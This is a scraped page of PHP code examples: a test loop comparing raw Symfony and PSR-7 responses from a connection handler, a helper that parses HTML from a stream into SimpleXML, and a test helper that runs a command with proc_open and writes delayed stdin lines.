     $scenarios = [['responseKey' => 'symfonyResponse', 'rawResponseKey' => 'rawSymfonyResponse'], ['responseKey' => 'psr7Response', 'rawResponseKey' => 'rawPsr7Response']];
     foreach ($scenarios as $scenario) {
         $callback = $callbackGenerator($testData[$scenario['responseKey']]);
         $context = $this->createTestingContext($callback);
         $requestId = 1;
         $context['clientWrapper']->writeRequest($requestId, $testData['requestParams'], $testData['requestBody']);
         do {
             $context['handler']->ready();
         } while (!$context['connection']->isClosed());
         $rawResponse = $context['clientWrapper']->readResponse($this, $requestId);
         $expectedRawResponse = $testData[$scenario['rawResponseKey']];
         // Check response
         $this->assertEquals(strlen($expectedRawResponse), strlen($rawResponse));
         $this->assertEquals($expectedRawResponse, $rawResponse);
         // Clean up
         fclose($context['sockets'][0]);
     }
 }
コード例 #29
0
 public static function dom($stream)
 {
     rewind($stream);
     $actual = stream_get_contents($stream);
     $html = DOMDocument::loadHTML($actual);
     return simplexml_import_dom($html);
 }
コード例 #30
-1
 private function executeCommandWithDelayedStdin($command, $stdinLines, $delayMicroseconds = 1000000)
 {
     $descriptors = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
     $pipes = array();
     $process = proc_open($command, $descriptors, $pipes);
     if (!is_resource($process)) {
         throw new \RuntimeException("Failed to run command '{$command}'");
     }
     // $pipes now looks like this:
     // 0 => writable handle connected to child stdin
     // 1 => readable handle connected to child stdout
     // 2 => readable handle connected to child stderr
     foreach ($stdinLines as $stdinLine) {
         usleep($delayMicroseconds);
         fwrite($pipes[0], $stdinLine);
     }
     fclose($pipes[0]);
     $stdOut = stream_get_contents($pipes[1]);
     fclose($pipes[1]);
     $stdErr = stream_get_contents($pipes[2]);
     fclose($pipes[2]);
     if ($stdErr) {
         throw new \RuntimeException("Error executing {$command}: {$stdErr}");
     }
     // It is important that to close any pipes before calling
     // proc_close in order to avoid a deadlock
     proc_close($process);
     return $stdOut;
 }